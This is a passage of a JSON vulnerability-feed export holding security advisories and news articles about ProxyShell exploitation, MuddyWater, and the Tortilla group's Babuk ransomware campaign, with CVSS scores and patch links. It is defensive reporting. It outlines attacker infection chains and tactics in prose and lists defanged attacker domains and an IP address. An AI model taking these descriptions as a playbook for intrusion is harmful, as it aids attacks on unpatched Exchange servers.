"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-30T10:11:06", "type": "hivepro", "title": "Have you updated your Zoom meeting?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34423", "CVE-2021-34424"], "modified": "2021-11-30T10:11:06", "id": "HIVEPRO:C6DE52590D2035D4850626D264C1B868", "href": "https://www.hivepro.com/have-you-updated-your-zoom-meeting/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-18T13:20:19", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/11/MuddyWater-is-taking-advantage-of-old-vulnerabilities_TA202149.pdf>)[](<https://docs.google.com/viewer?url=https%3A%2F%2Fwww.hivepro.com%2Fwp-content%2Fuploads%2F2021%2F11%2FA-zero-day-vulnerability-has-been-discovered-in-PANs-GlobalProtect-firewall_TA202148-1.pdf&embedded=true&chrome=false&dov=1> \"View this pdf file\" )\n\nThe Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), and the United Kingdom's National Cyber Security Centre (NCSC) have issued a joint advisory to warn organizations about an APT State sponsored Actor exploiting old Fortinet and proxyshell vulnerabilities. \nSince late March 2021, this APT Iranian State sponsored Actor (MuddyWater) has been breaching vulnerable networks by exploiting Fortinet vulnerabilities. The Hive Pro threat Research team has issued a detailed and in [depth](<https://www.hivepro.com/old-fortinet-vulnerabilities-exploited-by-state-sponsored-actors/>) advisory for the same. \nNow, in October 2021, MuddyWater is getting initial access to the susceptible system by exploiting the well known ProxyShell Vulnerability (CVE 2021 34473). \nIt is recommended that organizations patch these vulnerabilities as soon as available. \nThe Tactics and Techniques used by MuddyWater are: \nTA0042 - Resource Development \nT1588.001 - Obtain Capabilities: Malware \nT1588.002 - Obtain Capabilities: Tool \nTA0001 - Initial Access \nT1190 - Exploit Public Facing Application \nTA0002 - Execution \nT1053.005 - Scheduled Task/Job: Scheduled Task \nTA0003 - Persistence \nT1136.001 - Create Account: Local Account \nT1136.002 - Create Account: Domain Account \nTA0004 - Privilege Escalation \nTA0006 - Credential Access \nTA0009 - Collection \nT1560.001 - Archive Collected Data: Archive via Utility \nTA0010 - Exfiltration \nTA0040 - Impact \nT1486 - Data Encrypted for Impact\n\n#### Actor Details\n\n\n\n#### Vulnerability Details\n\n\n\n#### Indicators of Compromise (IoCs)\n\n\n\n#### Patch Link\n\n<https://kb.fortinet.com/kb/documentLink.do?externalID=FD37033>\n\n<http://www.securityfocus.com/bid/108693>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>\n\n#### References\n\n<https://us-cert.cisa.gov/ncas/alerts/aa21-321a>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-18T11:45:32", "type": "hivepro", "title": "MuddyWater is taking advantage of old vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473"], "modified": "2021-11-18T11:45:32", "id": "HIVEPRO:186D6EE394314F861D57F4243E31E975", "href": "https://www.hivepro.com/muddywater-is-taking-advantage-of-old-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-30T07:42:21", "description": "For a detailed threat digest, download the pdf file here Published Vulnerabilities Interesting Vulnerabilities Active Threat Groups Targeted Countries Targeted Industries ATT&CK TTPs 340 10 5 53 24 84 The fourth week of March 2022 witnessed the discovery of 340 vulnerabilities out of which 10 gained the attention of Threat Actors and security researchers worldwide. Among these 10, there was 1 which is undergoing reanalysis, and 2 were not present in the NVD at all. Hive Pro Threat Research Team has curated a list of 10 CVEs that require immediate action. Furthermore, we also observed five threat actor groups being highly active in the last week. The Lapsus$, a new extortion threat actor group had attacked popular organizations such as Brazilian Ministry of Health, NVIDIA, Samsung, Vodafone, Ubisoft, Octa, and Microsoft for data theft and destruction, was observed using the Redline info-stealer. Additionally, North Korean state hackers known as Lazarus group, was exploiting the zero-day vulnerability in Google Chrome's web browser (CVE-2022-0609). AvosLocker is a Ransomware as a Service (RaaS) affiliate-based group that has targeted 50+ organizations is currently exploiting Proxy Shell vulnerabilities (CVE-2021-31206, CVE-2021-31207, CVE-2021-34523, CVE-2021-34473, CVE-2021-26855). The threat actor APT35 aka Magic Hound, an Iranian-backed threat group is exploiting the Proxy Shell vulnerabilities to attack organizations across the globe. Another South Korean APT group DarkHotel was targeting the hospitality industry in China. Common TTPs which could potentially be exploited by these threat actors or CVEs can be found in the detailed section below. Detailed Report: Interesting Vulnerabilities: Vendor CVEs Patch Link CVE-2021-34484 CVE-2022-21919 https://central.0patch.com/auth/login CVE-2022-0609* CVE-2022-1096* https://www.google.com/intl/en/chrome/?standalone=1 CVE-2021-31206 CVE-2021-31207 CVE-2021-34523 CVE-2021-34473 CVE-2021-26855 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31206 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 CVE-2022-0543 https://security-tracker.debian.org/tracker/CVE-2022-0543 Active Actors: Icon Name Origin Motive APT 35 (Magic Hound, Cobalt Illusion, Charming Kitten, TEMP.Beanie, Timberworm, Tarh Andishan, TA453, ITG18, Phosphorus, Newscaster) Iran Information theft and espionage AvosLocker Unknown Ecrime, Information theft, and Financial gain Lazarus Group (Labyrinth Chollima, Group 77, Hastati Group, Whois Hacking Team, NewRomanic Cyber Army Team, Zinc, Hidden Cobra, Appleworm, APT-C-26, ATK 3, SectorA01, ITG03) North Korea Information theft and espionage, Sabotage and destruction, Financial crime Lapsus$ (DEV-0537) Unknown Data theft and Destruction DarkHotel (APT-C-06, SIG25, Dubnium, Fallout Team, Shadow Crane, CTG-1948, Tungsten Bridge, ATK 52, Higaisa, TAPT-02, Luder) South Korea Information theft and espionage Targeted Location: Targeted Sectors: Common TTPs: TA0042: Resource Development TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and Control TA0010: Exfiltration TA0040: Impact T1583: Acquire Infrastructure T1189: Drive-by Compromise T1059: Command and Scripting Interpreter T1098: Account Manipulation T1548: Abuse Elevation Control Mechanism T1548: Abuse Elevation Control Mechanism T1110: Brute Force T1010: Application Window Discovery T1021: Remote Services T1560: Archive Collected Data T1071: Application Layer Protocol T1048: Exfiltration Over Alternative Protocol T1485: Data Destruction T1583.001: Domains T1190: Exploit Public-Facing Application T1059.001: PowerShell T1547: Boot or Logon Autostart Execution T1134: Access Token Manipulation T1134: Access Token Manipulation T1110.003: Password Spraying T1083: File and Directory Discovery T1021.001: Remote Desktop Protocol T1560.003: Archive via Custom Method T1071.001: Web Protocols T1048.003: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol T1486: Data Encrypted for Impact T1583.006: Web Services T1133: External Remote Services T1059.005: Visual Basic T1547.006: Kernel Modules and Extensions T1134.002: Create Process with Token T1134.002: Create Process with Token T1056: Input Capture T1120: Peripheral Device Discovery T1021.002: SMB/Windows Admin Shares T1560.002: Archive via Library T1132: Data Encoding T1041: Exfiltration Over C2 Channel T1491: Defacement T1587: Develop Capabilities T1566: Phishing T1059.004: Unix Shell T1547.001: Registry Run Keys / Startup Folder T1547: Boot or Logon Autostart Execution T1564: Hide Artifacts T1056.004: Credential API Hooking T1057: Process Discovery T1021.004: SSH T1213: Data from Information Repositories T1132.001: Standard Encoding T1537: Transfer Data to Cloud Account T1491.001: Internal Defacement T1587.001: Malware T1566.001: Spearphishing Attachment T1059.003: Windows Command Shell T1547.009: Shortcut Modification T1547.006: Kernel Modules and Extensions T1564.001: Hidden Files and Directories T1056.001: Keylogging T1012: Query Registry T1005: Data from Local System T1001: Data Obfuscation T1561: Disk Wipe T1588: Obtain Capabilities T1199: Trusted Relationship T1203: Exploitation for Client Execution T1543: Create or Modify System Process T1547.001: Registry Run Keys / Startup Folder T1562: Impair Defenses T1003: OS Credential Dumping T1082: System Information Discovery T1074: Data Staged T1001.003: Protocol Impersonation T1561.001: Disk Content Wipe T1588.004: Digital Certificates T1078: Valid Accounts T1106: Native API T1543.003: Windows Service T1547.009: Shortcut Modification T1562.004: Disable or Modify System Firewall T1111: Two-Factor Authentication Interception T1016: System Network Configuration Discovery T1074.001: Local Data Staging T1573: Encrypted Channel T1561.002: Disk Structure Wipe T1588.006: Vulnerabilities T1053: Scheduled Task/Job T1133: External Remote Services T1543: Create or Modify System Process T1562.001: Disable or Modify Tools T1552: Unsecured Credentials T1033: System Owner/User Discovery T1056: Input Capture T1573.001: Symmetric Cryptography T1490: Inhibit System Recovery T1204: User Execution T1137: Office Application Startup T1543.003: Windows Service T1070: Indicator Removal on Host T1124: System Time Discovery T1056.004: Credential API Hooking T1008: Fallback Channels T1489: Service Stop T1204.002: Malicious File T1542: Pre-OS Boot T1068: Exploitation for Privilege Escalation T1070.004: File Deletion T1056.001: Keylogging T1105: Ingress Tool Transfer T1529: System Shutdown/Reboot T1047: Windows Management Instrumentation T1542.003: Bootkit T1055: Process Injection T1070.006: Timestomp T1571: Non-Standard Port T1053: Scheduled Task/Job T1055.001: Dynamic-link Library Injection T1036: Masquerading T1090: Proxy T1505: Server Software Component T1053: Scheduled Task/Job T1036.005: Match Legitimate Name or Location T1090.002: External Proxy T1505.003: Web Shell T1078: Valid Accounts T1027: Obfuscated Files or Information T1078: Valid Accounts T1027.006: HTML Smuggling T1027.002: Software Packing T1542: Pre-OS Boot T1542.003: Bootkit T1055: Process Injection T1055.001: Dynamic-link Library Injection T1218: Signed Binary Proxy Execution T1218.001: Compiled HTML File T1078: Valid Accounts T1497: Virtualization/Sandbox Evasion Threat Advisories: Microsoft\u2019s privilege escalation vulnerability that refuses to go away Google Chrome\u2019s second zero-day in 2022 Magic Hound Exploiting Old Microsoft Exchange ProxyShell Vulnerabilities AvosLocker Ransomware group has targeted 50+ Organizations Worldwide North Korean state-sponsored threat actor Lazarus Group exploiting Chrome Zero-day vulnerability LAPSUS$ \u2013 New extortion group involved in the breach against Nvidia, Microsoft, Okta and Samsung DarkHotel APT group targeting the Hospitality Industry in China New Threat Actor using Serpent Backdoor attacking French Entities Muhstik botnet adds another vulnerability exploit to its arsenal", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-29T13:56:10", "type": "hivepro", "title": "Weekly Threat Digest: 21 \u2013 27 March 2022", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31206", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34484", "CVE-2021-34523", "CVE-2022-0543", "CVE-2022-0609", "CVE-2022-1096", "CVE-2022-21919"], "modified": "2022-03-29T13:56:10", "id": "HIVEPRO:E7F36EC1E4DCF018F94ECD22747B7093", "href": "https://www.hivepro.com/weekly-threat-digest-21-27-march-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-08-26T23:21:31", "description": "Microsoft has broken its silence on the [recent barrage of attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) on several ProxyShell vulnerabilities in that were [highlighted](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) by a researcher at Black Hat earlier this month.\n\nThe company [released an advisory](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) late Wednesday letting customers know that threat actors may use unpatched Exchange servers \u201cto deploy ransomware or conduct other post-exploitation activities\u201d and urging them to update immediately.\n\n\u201cOur recommendation, as always, is to install the latest CU and SU on all your Exchange servers to ensure that you are protected against the latest threats,\u201d the company said. \u201cPlease update now!\u201d \n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)Customers that have installed the [May 2021 security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-may-2021-exchange-server-security-updates/ba-p/2335209>) or the [July 2021 security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-july-2021-exchange-server-security-updates/ba-p/2523421>) on their Exchange servers are protected from these vulnerabilities, as are Exchange Online customers so long as they ensure that all hybrid Exchange servers are updated, the company wrote.\n\n\u201cBut if you have not installed either of these security updates, then your servers and data are vulnerable,\u201d according to the advisory.\n\nThe ProxyShell bugs that Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) outlined in a presentation at Black Hat. The three vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) enable an adversary to trigger remote code execution on Microsoft Exchange servers. Microsoft said the bugs can be exploited in the following cases:\n\n\u2013The server is running an older, unsupported CU;\n\n\u2013The server is running security updates for older, unsupported versions of Exchange that were [released](<https://techcommunity.microsoft.com/t5/exchange-team-blog/march-2021-exchange-server-security-updates-for-older-cumulative/ba-p/2192020>) in March 2021; or\n\n\u2013The server is running an older, unsupported CU, with the [March 2021 EOMT](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) mitigations applied.\n\n\u201cIn all of the above scenarios, you _must_ install one of latest supported CUs and all applicable SUs to be protected,\u201d according to Microsoft. \u201cAny Exchange servers that are not on a supported CU _and_ the latest available SU are vulnerable to ProxyShell and other attacks that leverage older vulnerabilities.\u201d\n\n**Sounding the Alarm**\n\nFollowing Tsai\u2019s presentation on the bugs, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that [he found more](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find exploiting then easy to execute, given how much information is available.\n\nSecurity researchers at Huntress also reported seeing [ProxyShell vulnerabilities](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) being actively exploited throughout the month of August to install backdoor access once the [ProxyShell exploit code](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) was published on Aug. 6. But starting last Friday, Huntress reported a \u201csurge\u201d in attacks after finding 140 webshells launched against 1,900 unpatched Exchange servers.\n\nThe Cybersecurity & Infrastructure Security Agency (CISA) joined those sounding the alarm over the weekend, issuing [an urgent alert](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>). They, too, urged organizations to immediately install the latest Microsoft Security Update.\n\nAt the time, researcher Kevin Beaumont expressed [criticism over Microsoft\u2019s messaging efforts](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>) surrounding the vulnerability and the urgent need for its customers to update their Exchange Server security.\n\n\u201cMicrosoft decided to downplay the importance of the patches and treat them as a standard monthly Exchange patch, which [has] been going on for \u2013 obviously \u2013 decades,\u201d Beaumont explained.\n\nBut Beaumont said these remote code execution (RCE) vulnerabilities are \u201c\u2026as serious as they come.\u201d He noted that the company did not help matters by failing to allocate CVEs for them until July \u2014 four months after the patches were issued.\n\nIn order of patching priority, according to Beaumont, the vulnerabilities are: [CVE-2021\u201334473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021\u201334523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) and [CVE-2021\u201331207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>).\n\nCVE-2021-34473, a vulnerability in which a pre-auth path confusion leads to ACL Bypass, was patched in April. CVE-2021-34523, also patched in April, is an elevation of privilege on Exchange PowerShell backend. CVE-2021-31207, a bug in which a post-auth Arbitrary-File-Write leads to remote code execution, was patched in May.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-26T12:39:54", "type": "threatpost", "title": "Microsoft Breaks Silence on Barrage of ProxyShell Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-26T12:39:54", "id": "THREATPOST:83C349A256695022C2417F465CEB3BB2", "href": "https://threatpost.com/microsoft-barrage-proxyshell-attacks/168943/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-04T16:00:33", "description": "A new-ish threat actor sometimes known as \u201cTortilla\u201d is launching a fresh round of ProxyShell attacks on Microsoft Exchange servers, this time with the aim of inflicting vulnerable servers with variants of the Babuk ransomware.\n\nCisco Talos researchers said in a Wednesday [report](<https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) that they spotted the malicious campaign a few weeks ago, on Oct. 12.\n\nTortilla, an actor that\u2019s been operating since July, is predominantly targeting U.S. victims. It\u2019s also hurling a smaller number of infections that have hit machines in the Brazil, Finland, Germany, Honduras, Thailand, Ukraine and the U.K., as shown on the map below.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03120718/ProxShell-Babuk-map-e1635955653968.jpeg>)\n\nVictim distribution map. Source: Cisco Talos.\n\nPrior to this ransomware-inflicting campaign, Tortilla has been experimenting with other payloads, such as the PowerShell-based netcat clone PowerCat.\n\nPowerCat has a penchant for Windows, the researchers explained, being \u201cknown to provide attackers with unauthorized access to Windows machines.\u201d\n\n## ProxyShell\u2019s New Attack Surface\n\nProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords.\n\nThe attack was outlined in a presentation ([PDF](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>)) given by Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) at Black Hat in April. In it, Tsai disclosed an entirely new attack surface in Exchange, and a [barrage](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) of [attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) soon followed. August was glutted with reports of threat actors exploiting ProxyShell to launch [webshell attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>), as well as to deliver [LockFile ransomware](<https://pbs.twimg.com/media/E9TmPo6XMAYCnO-?format=jpg&name=4096x4096>)..\n\nIn this latest ProxyShell campaign, Cisco Talos researchers said that the threat actor is using \u201ca somewhat unusual infection chain technique where an intermediate unpacking module is hosted on a pastebin.com clone pastebin.pl\u201d to deliver Babuk.\n\nThey continued: \u201cThe intermediate unpacking stage is downloaded and decoded in memory before the final payload embedded within the original sample is decrypted and executed.\u201d\n\n## Who\u2019s Babuk?\n\nBabuk is a ransomware that\u2019s probably best known for its starring role in a breach of the Washington D.C. police force [in April](<https://threatpost.com/babuk-ransomware-washington-dc-police/165616/>). The gang behind the malware has a short history, having only been [identified in 2021](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/babuk-ransomware/>), but that history shows that it\u2019s a [double-extortion](<https://threatpost.com/double-extortion-ransomware-attacks-spike/154818/>) player: one that threatens to post stolen data in addition to encrypting files, as a way of applying thumbscrews so victims will pay up.\n\nThat tactic has worked. As [McAfee](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/babuk-ransomware/>) described in February, Babuk the ransomware had already been lobbed at a batch of at least five big enterprises, with one score: The gang walked away with $85,000 after one of those targets ponied up the money, McAfee researchers said.\n\nIts victims have included Serco, an outsourcing firm that confirmed that it had been [slammed](<https://www.computerweekly.com/news/252495684/Serco-confirms-Babuk-ransomware-attack>) with a double-extortion ransomware attack in late January.\n\nLike many ransomware strains, Babuk is ruthless: It not only encrypts a victim\u2019s machine, it also [blows up backups](<https://threatpost.com/conti-ransomware-backups/175114/>) and deletes the volume shadow copies, Cisco Talos said.\n\n## What\u2019s Under Babuk\u2019s Hood\n\nOn the technical side, Cisco Talos described Babuk as a flexible ransomware that can be compiled, through a ransomware builder, for several hardware and software platforms.\n\nIt\u2019s mostly compiled for Windows and ARM for Linux, but researchers said that, over time, they\u2019ve also seen versions for ESX and a 32-bit, old PE executable.\n\nIn this recent October campaign though, the threat actors are specifically targeting Windows.\n\n## China Chopper Chops Again\n\nPart of the infection chain involves China Chopper: A webshell that dates back to 2010 but which has [clung to relevancy since](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>), including reportedly being used in a massive 2019 attack against telecommunications providers called [Operation Soft Cell](<https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers>). The webshell enables attackers to \u201cretain access to an infected system using a client-side application which contains all the logic required to control the target,\u201d as Cisco Talos [described](<https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html>) the webshell in 2019.\n\nThis time around, it\u2019s being used to get to Exchange Server systems. \u201cWe assess with moderate confidence that the initial infection vector is exploitation of ProxyShell vulnerabilities in Microsoft Exchange Server through the deployment of China Chopper web shell,\u201d according to the Cisco Talos writeup.\n\n## The Infection Chain\n\nAs shown in the infection flow chart below, the actors are using either a DLL or .NET executable to kick things off on the targeted system. \u201cThe initial .NET executable module runs as a child process of w3wp.exe and invokes the command shell to run an obfuscated PowerShell command,\u201d according to Cisco Talos\u2019 report.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/03130541/infection-flow-chart-e1635959155173.jpeg>)\n\nInfection flow chart. Source: Cisco Talos.\n\n\u201cThe PowerShell command invokes a web request and downloads the payload loader module using certutil.exe from a URL hosted on the domains fbi[.]fund and xxxs[.]info, or the IP address 185[.]219[.]52[.]229,\u201d researchers said.\n\n\u201cThe payload loader downloads an intermediate unpacking stage from the PasteBin clone site pastebin.pl,\u201d they continued \u2013 a site that \u201cseems to be unrelated to the popular pastebin.com.\u201d\n\nThey continued: \u201cThe unpacker concatenates the bitmap images embedded in the resource section of the trojan and decrypts the payload into the memory. The payload is injected into the process AddInProcess32 and is used to encrypt files on the victim\u2019s server and all mounted drives.\u201d\n\n## More Ingredients in Tortilla\u2019s Infrastructure\n\nBesides the pastebin.pl site that hosts Tortilla\u2019s intermediate unpacker code, Tortilla\u2019s infrastructure also includes a Unix-based download server.\n\nThe site is legitimate, but Cisco Talos has seen multiple malicious campaigns running on it, including hosting variants of the [AgentTesla trojan](<https://threatpost.com/agent-tesla-microsoft-asmi/163581/>) and the [FormBook malware dropper.](<https://threatpost.com/new-formbook-dropper-harbors-persistence/145614/>)\n\n## Babuk\u2019s Code Spill Helps Newbies\n\nIn July, Babuk gang\u2019s source code and builder were spilled: They were [uploaded to VirusTotal](<https://threatpost.com/babuk-ransomware-builder-virustotal/167481/>), making it available to all security vendors and competitors. That leak has helped the ransomware spread to even an inexperienced, green group like Tortilla, Cisco Talos said.\n\nThe leak \u201cmay have encouraged new malicious actors to manipulate and deploy the malware,\u201d researchers noted.\n\n\u201cThis actor has only been operating since early July this year and has been experimenting with different payloads, apparently in order to obtain and maintain remote access to the infected systems,\u201d according to its writeup.\n\nWith Babuk source code readily available, all the Tortilla actors have to know is how to tweak it a tad, researchers said: A scenario that observers predicted back when the code appeared.\n\n\u201cThe actor displays low to medium skills with a decent understanding of the security concepts and the ability to create minor modifications to existing malware and offensive security tools,\u201d Cisco Talos researchers said in assessing the Tortilla gang.\n\n## Decryptor Won\u2019t Work on Variant\n\nWhile a free [Babuk decryptor was released](<https://www.bleepingcomputer.com/news/security/babuk-ransomware-decryptor-released-to-recover-files-for-free/>) last week, it won\u2019t work on the Babuk variant seen in this campaign, according to the writeup: \u201cUnfortunately, it is only effective on files encrypted with a number of leaked keys and cannot be used to decrypt files encrypted by the variant described in this blog post.\u201d\n\n## How to Keep Exchange Safe\n\nTortilla is hosting malicious modules and conducting internet-wide scanning to exploit vulnerable hosts.\n\nThe researchers recommended staying vigilant, staying on top of any infection in its early stages and implementing a layered defense security, \u201cwith the behavioral protection enabled for endpoints and servers to detect the threats at an early stage of the infection chain.\u201d\n\nThey also recommended keeping servers and apps updated so as to squash vulnerabilities, such as the trio of CVEs exploited in the ProxyShell attacks.\n\nAlso, keep an eye out for backup demolition, as the code deletes shadow copies: \u201cBabuk ransomware is nefarious by its nature and while it encrypts the victim\u2019s machine, it interrupts the system backup process and deletes the volume shadow copies,\u201d according to Cisco Talos.\n\nOn top of all that, bolster detection: Watch out for system configuration changes, suspicious events generated by detection systems for an abrupt service termination, or abnormally high I/O rates for drives attached to servers, according to Cisco Talos.\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-03T18:16:37", "type": "threatpost", "title": "\u2018Tortilla\u2019 Wraps Exchange Servers in ProxyShell Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", 